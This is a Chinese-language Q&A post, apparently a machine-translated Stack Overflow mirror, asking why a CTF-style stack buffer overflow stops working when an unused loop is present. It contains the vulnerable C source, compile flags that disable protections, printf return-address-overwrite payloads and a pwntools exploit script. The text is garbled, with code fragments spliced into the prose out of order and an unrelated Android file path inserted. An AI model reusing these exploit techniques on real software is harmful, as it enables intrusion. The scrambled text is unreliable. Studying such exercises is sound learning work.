无辜的输入中断了缓冲区溢出漏洞利用?

时间:2019-04-22 12:41:20

标签: c security gdb buffer-overflow

下面是一个简单的程序,容易出现缓冲区溢出;就像我可以将其添加到正在开发的更大的(CTF)程序中一样,并且仅“提取”(重写)了漏洞所在的那一部分。

当注释的for循环不在二进制文件中时,该漏洞利用有效;当循环位于二进制文件中时,尽管它什么也没做,但是利用程序却无法工作。

这是我分别在不使用for循环和不使用printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out printf 'a\na\na\na\na\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out 循环的情况下运行程序的方式:

unreachable()

(“ A” * 88),其中0x0040067b是unreachable(在序言之后)。

for刚开始,因此无论#!/usr/bin/env python from pwn import * s = process('./own_wumpus') for i in range(5): s.sendline('a') payload = 'A'*88+'\x7b\x06\x40\x00\x00\x00\x00\x00' s.sendline(payload) s.interactive() 循环是否被注释掉,地址都保持不变。

然后我写了这个脚本:

printf

完全按照我认为的catls以及我尝试过的所有其他方式进行操作,但这可以完美地执行(#include <stdio.h> #include <unistd.h> #include <string.h> #include <ctype.h> #include <stdlib.h> char global[0x46]; void unreachable() { system("/bin/ls"); exit(0); } char get_char() { char c; printf("%s\n> ", "Action"); do { scanf("%c", &c); } while (c == '\n'); return toupper(c); } int f(int fd, int max_bytes, char *buf) { int bytes_read = 0; int from_fd = fd; int total_read = 0; int max_bytes_to_read = max_bytes; char *p = buf; for (total_read = 0; total_read < max_bytes_to_read; total_read += bytes_read) { bytes_read = read(from_fd, p, 1); if (bytes_read <= 0) exit(0); if (*p == '\n') break; p += bytes_read; } return total_read; } int _main() { char buf[0x46]; //for (int i = 0; i != 5; ++i) { // *buf = get_char(); //} memset(buf, 0, sizeof(buf)); f(0, 0xc8, buf); // intended strncpy(global, buf, 0x45); return 0; } int main() { int false = 0; printf(">"); if (false) unreachable(); return _main(); } 执行)。

这是程序。

gcc source.c -fno-stack-protector -no-pie -fno-plt -fno-pic -Wl,-z,norelro && strip a.out

编译为:

ls

预期的输出:每次执行ls

实际输出:pwntools仅用for执行(上面的python脚本);其他一切都失败了。当ls循环被注释掉时,printf A*88+address也与上面的a执行。

我的第一个想法是关于管道的,但是它不能解释带有cat和不带有printf的缓冲区的区别。 (即使很奇怪,在实际程序中,它也可以使用gdb和python脚本,但不能使用/storage/emulated/0/Android/data/my_package_name/files/Pictures. / Internal shared storage\DCIM\100MEDIA。)

0 个答案:

没有答案